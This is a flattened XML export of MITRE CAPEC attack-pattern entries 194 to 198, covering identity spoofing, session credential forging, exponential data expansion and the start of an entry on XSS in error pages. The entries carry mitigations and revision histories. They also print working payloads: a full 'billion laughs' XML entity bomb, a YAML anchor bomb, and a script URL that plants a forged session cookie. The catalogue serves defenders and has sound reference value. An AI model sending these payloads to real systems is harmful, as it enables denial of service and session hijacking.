+ + + + + + + + #indContentHistoryContentHistory9279 + Content_History_9279 + + + + + + + + + + + + + + + + #indSubmissionSubmission9280 + Submission_9280 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9285 + Modification_9285 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description Summary, Examples-Instances, Payload_Activation_Impact, Resources_Required + + + + + + + + + + + + #indModificationModification9291 + Modification_9291 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification9297 + Modification_9297 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences + + + + + + + + + + + + #indModificationModification9303 + Modification_9303 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow, Mitigations + + + + + + + + + + + + #indModificationModification9309 + Modification_9309 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References + + + + + + + + + + + + #indModificationModification9315 + Modification_9315 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification9321 + Modification_9321 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-194 + Fake the Source of Data + + + + + + + + + 194 + + + + + Fake the Source of Data + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9333 + Related_Attack_Pattern_9333 + + + + + + + + + + + + + + 151 + + + + + 512 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9336 + Related_Attack_Pattern_9336 + + + + + + + + + + + + + + 657 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9337 + Related_Attack_Pattern_9337 + + + + + + + + + + + + + + 667 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack is only applicable when a vulnerable entity associates data or services with an identity. Without such an association, there would be no reason to fake the source.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Resources required vary depending on the nature of the attack. Possible tools needed by an attacker could include tools to create custom network packets, specific client software, and tools to capture network traffic. Many variants of this attack require no attacker resources, however.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9346 + Consequence_9346 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By faking the source of data or services, an adversary can cause a target to make incorrect decisions about how to proceed.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9351 + Consequence_9351 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">By impersonating identities that have an increased level of access, an adversary gain privilege that they many not have otherwise had.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9356 + Consequence_9356 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Faking the source of data or services can be used to create a false trail in logs as the target will associate any actions with the impersonated identity instead of the adversary.</xhtml:div> + + + + + 287 + + + + + + + + + + + + #indTaxonomyMappingURLRedirectorAbuse + URL Redirector Abuse + + + + + + + + + + + + + + 38 + + + + + URL Redirector Abuse + + + + + + + + + + + + #indContentHistoryContentHistory9371 + Content_History_9371 + + + + + + + + + + + + + + + + #indSubmissionSubmission9372 + Submission_9372 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9377 + Modification_9377 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Weaknesses + + + + + + + + + + + + #indModificationModification9383 + Modification_9383 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification9389 + Modification_9389 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification9395 + Modification_9395 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-195 + Principal Spoof + + + + + + + + + 195 + + + + + Principal Spoof + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A Principal Spoof is a form of Identity Spoofing where an adversary pretends to be some other person in an interaction. This is often accomplished by crafting a message (either written, verbal, or visual) that appears to come from a person other than the adversary. Phishing and Pharming attacks often attempt to do this so that their attempts to gather sensitive information appear to come from a legitimate source. A Principal Spoof does not use stolen or spoofed authentication credentials, instead relying on the appearance and content of the message to reflect identity.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The possible outcomes of a Principal Spoof mirror those of Identity Spoofing. (e.g., escalation of privilege and false attribution of data or activities) Likewise, most techniques for Identity Spoofing (crafting messages or intercepting and replaying or modifying messages) can be used for a Principal Spoof attack. However, because a Principal Spoof is used to impersonate a person, social engineering can be both an attack technique (using social techniques to generate evidence in support of a false identity) as well as a possible outcome (manipulating people's perceptions by making statements or performing actions under a target's name).&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9410 + Related_Attack_Pattern_9410 + + + + + + + + + + + + + + 151 + + + + + 515 + + + + + 513 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target must associate data or activities with a person's identity and the adversary must be able to modify this identity without detection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory9421 + Content_History_9421 + + + + + + + + + + + + + + + + #indSubmissionSubmission9422 + Submission_9422 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9427 + Modification_9427 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Prerequisites + + + + + + + + + + + + #indModificationModification9433 + Modification_9433 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification9439 + Modification_9439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description Summary + + + + + + + + + + + + #indModificationModification9445 + Modification_9445 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification9451 + Modification_9451 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification9457 + Modification_9457 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification9463 + Modification_9463 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-196 + Session Credential Falsification through Forging + + + + + + + + + 196 + + + + + Session Credential Falsification through Forging + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker creates a false but functional session credential in order to gain or usurp access to a service. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. If an attacker is able to forge valid session credentials they may be able to bypass authentication or piggy-back off some other authenticated user's session. This attack differs from Reuse of Session IDs and Session Sidejacking attacks in that in the latter attacks an attacker uses a previous or existing credential without modification while, in a forging attack, the attacker must create their own credential, although it may be based on previously observed credentials.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9478 + Related_Attack_Pattern_9478 + + + + + + + + + + + + + + 384 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9479 + Related_Attack_Pattern_9479 + + + + + + + + + + + + + + 61 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9480 + Related_Attack_Pattern_9480 + + + + + + + + + + + + + + 21 + + + + + + + + + + + + #indAttackStepAttackStep9483 + Attack_Step_9483 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Analyze and Understand Session IDs] The attacker finds that the targeted application use session credentials to identify legitimate users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker makes many anonymous connections and records the session IDs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker makes authorized connections and records the session tokens or credentials.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9490 + Attack_Step_9490 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create Session IDs.] Attackers craft messages containing their forged credentials in GET, POST request, HTTP headers or cookies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker manipulates the HTTP request message and adds their forged session IDs in to the requests or cookies.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9496 + Attack_Step_9496 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Abuse the Victim's Session Credentials] The attacker fixates falsified session ID to the victim when victim access the system. Once the victim has achieved a higher level of privilege, possibly by logging into the application, the attacker can now take over the session using the forged session identifier.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker loads the predefined or predicted session ID into their browser and browses to protected data or functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker loads the predefined or predicted session ID into their software and utilizes functionality with the rights of the victim.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must use session credentials to identify legitimate users. Session identifiers that remains unchanged when the privilege levels change. Predictable session identifiers.</xhtml:div> + + + + + + + + + + + + #indSkillSkill9508 + Skill_9508 + + + + + + + + + + + + + + Forge the session credential and reply the request. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attackers may require tools to craft messages containing their forged credentials, and ability to send HTTP request to a web application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9514 + Consequence_9514 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9518 + Consequence_9518 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9522 + Consequence_9522 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9527 + Consequence_9527 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence9534 + Consequence_9534 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Use session IDs that are difficult to guess or brute-force: One way for the attackers to obtain valid session IDs is by brute-forcing or guessing them. By choosing session identifiers that are sufficiently random, brute-forcing or guessing becomes very difficult.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Regenerate and destroy session identifiers when there is a change in the level of privilege: This ensures that even though a potential victim may have followed a link with a fixated identifier, a new one is issued when the level of privilege changes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This example uses client side scripting to set session ID in the victim's browser. The JavaScript code&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;document.cookie="sessionid=0123456789"&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;fixates a falsified session credential into victim's browser, with the help of crafted a URL link.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://www.example.com/&amp;lt;script&amp;gt;document.cookie="sessionid=0123456789";&amp;lt;/script&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A similar example uses session ID as an argument of the URL.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;http://www.example.com/index.php/sessionid=0123456789&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Once the victim clicks the links, the attacker may be able to bypass authentication or piggy-back off some other authenticated victim's session.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 384 + + + + + 664 + + + + + + + + + + + + #indTaxonomyMappingAccessTokenManipulationCreateProcessWithToken + Access Token Manipulation: Create Process with Token + + + + + + + + + + + + + + 1134.002 + + + + + Access Token Manipulation: Create Process with Token + + + + + + + + + + + + #indTaxonomyMappingAccessTokenManipulationMakeAndImpersonateToken + Access Token Manipulation: Make and Impersonate Token + + + + + + + + + + + + + + 1134.003 + + + + + Access Token Manipulation: Make and Impersonate Token + + + + + + + + + + + + #indTaxonomyMappingForgeWebCredentials + Forge Web Credentials + + + + + + + + + + + + + + 1606 + + + + + Forge Web Credentials + + + + + + + + + + + + #indReferenceReference9574 + Reference_9574 + + + + + + + + + REF-62 + + + + + + + + + + + + #indReferenceReference9575 + Reference_9575 + + + + + + + + + REF-63 + + + + + Testing for Session Management + + + + + + + + + + + + #indContentHistoryContentHistory9577 + Content_History_9577 + + + + + + + + + + + + + + + + #indSubmissionSubmission9578 + Submission_9578 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9583 + Modification_9583 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification9589 + Modification_9589 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences, Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification9595 + Modification_9595 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification9601 + Modification_9601 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-197 + Exponential Data Expansion + + + + + + + + + 197 + + + + + Exponential Data Expansion + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.</xhtml:div> + + + + + + + + + + + + #indAlternateTermBillionLaughsAttack + Billion Laughs Attack + + + + + + + + + Billion Laughs Attack + + + + + + + + + + + + #indAlternateTermXMLBomb + XML Bomb + + + + + + + + + XML Bomb + + + + + + + + + + + + #indAlternateTermXMLEntityExpansion + XML Entity Expansion (XEE) + + + + + + + + + XML Entity Expansion (XEE) + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern9626 + Related_Attack_Pattern_9626 + + + + + + + + + + + + + + 230 + + + + + + + + + + + + #indAttackStepAttackStep9629 + Attack_Step_9629 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the target] An adversary determines the input data stream that is being processed by a data parser that supports using subsitituion on the victim's side.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an automated tool to record all instances of URLs to process requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a browser to manually explore the website and analyze how the application processes requests.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9636 + Attack_Step_9636 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft malicious payload] The adversary crafts a malicious message containing nested exponential expansion that completely uses up available server resources. See the "Example Instances" section for details on how to craft this malicious payload.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep9641 + Attack_Step_9641 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Send the message] Send the malicious crafted message to the target URL.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This type of attack requires that the target must receive input but either fail to provide an upper limit for entity expansion or provide a limit that is so large that it does not preclude significant resource consumption.</xhtml:div> + + + + + + + + + + + + #indSkillSkill9651 + Skill_9651 + + + + + + + + + + + + + + Ability to craft nested data expansion messages. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence9657 + Consequence_9657 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Denial of Service</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Use libraries and templates that minimize unfiltered input. Use methods that limit entity expansion and throw exceptions on attempted entity expansion.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: For XML based data - disable altogether the use of inline DTD schemas when parsing XML objects. If a DTD must be used, normalize, filter and use an allowlist and parse with methods and routines that will detect entity expansion from untrusted sources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The most common example of this type of attack is the "many laughs" attack (sometimes called the 'billion laughs' attack). For example:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!DOCTYPE lolz [&lt;xhtml:div style="margin-left:1em;"&gt;&amp;lt;!ENTITY lol "lol"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY lol2 "&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;&amp;amp;lol;"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY lol3 "&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;&amp;amp;lol2;"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY lol4 "&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;&amp;amp;lol3;"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY lol5 "&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;&amp;amp;lol4;"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY lol6 "&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;&amp;amp;lol5;"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY lol7 "&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6;&amp;amp;lol6"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY lol8 "&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;&amp;amp;lol7;"&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;!ENTITY lol9 "&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;&amp;amp;lol8;"&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:br&gt;&lt;/xhtml:br&gt;]&amp;gt;&lt;xhtml:br&gt;&lt;/xhtml:br&gt;&amp;lt;lolz&amp;gt;&amp;amp;lol9;&amp;lt;/lolz&amp;gt;&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This is well formed and valid XML according to the DTD. Each entity increases the number entities by a factor of 10. The line of XML containing lol9; expands out exponentially to a message with 10^9 entities. A small message of a few KBs in size can easily be expanded into a few GB of memory in the parser. By including 3 more entities similar to the lol9 entity in the above code to the DTD, the program could expand out over a TB as there will now be 10^12 entities. Depending on the robustness of the target machine, this can lead to resource depletion, application crash, or even the execution of arbitrary code through a buffer overflow.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This example is similar, but uses YAML. This was used to attack Kubernetes [REF-686]&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;a: &amp;amp;a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;b: &amp;amp;b [*a,*a,*a,*a,*a,*a,*a,*a,*a]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;c: &amp;amp;c [*b,*b,*b,*b,*b,*b,*b,*b,*b]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;d: &amp;amp;d [*c,*c,*c,*c,*c,*c,*c,*c,*c]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;e: &amp;amp;e [*d,*d,*d,*d,*d,*d,*d,*d,*d]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;f: &amp;amp;f [*e,*e,*e,*e,*e,*e,*e,*e,*e]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;g: &amp;amp;g [*f,*f,*f,*f,*f,*f,*f,*f,*f]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;h: &amp;amp;h [*g,*g,*g,*g,*g,*g,*g,*g,*g]&lt;xhtml:br&gt;&lt;/xhtml:br&gt;i: &amp;amp;i [*h,*h,*h,*h,*h,*h,*h,*h,*h]&lt;/xhtml:div&gt; + </xhtml:div> + + + + + 770 + + + + + 776 + + + + + + + + + + + + #indTaxonomyMappingXMLEntityExpansion + XML Entity Expansion + + + + + + + + + + + + + + 44 + + + + + XML Entity Expansion + + + + + + + + + + + + #indReferenceReference9691 + Reference_9691 + + + + + + + + + REF-64 + + + + + + + + + + + + #indReferenceReference9692 + Reference_9692 + + + + + + + + + REF-65 + + + + + + + + + + + + #indReferenceReference9693 + Reference_9693 + + + + + + + + + REF-66 + + + + + + + + + + + + #indReferenceReference9694 + Reference_9694 + + + + + + + + + REF-67 + + + + + + + + + + + + #indReferenceReference9695 + Reference_9695 + + + + + + + + + REF-67 + + + + + + + + + + + + #indContentHistoryContentHistory9697 + Content_History_9697 + + + + + + + + + + + + + + + + #indSubmissionSubmission9698 + Submission_9698 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification9703 + Modification_9703 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification9709 + Modification_9709 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification9715 + Modification_9715 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Mitigations + + + + + + + + + + + + #indModificationModification9721 + Modification_9721 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification9727 + Modification_9727 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Name, Alternate_Terms, Description, Example_Instances, Execution_Flow, Mitigations, Prerequisites, Related_Weaknesses, Skills_Required + + + + + + + + + + + + #indModificationModification9733 + Modification_9733 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification9739 + Modification_9739 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName9745 + Previous_Entry_Name_9745 + + + + + + + + + 2021-10-21 + + + + + XML Entity Expansion + + + + + + + + + + + + #CAPEC-198 + XSS Targeting Error Pages + + + + + + + + + 198 + + + + + XSS Targeting Error Pages + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 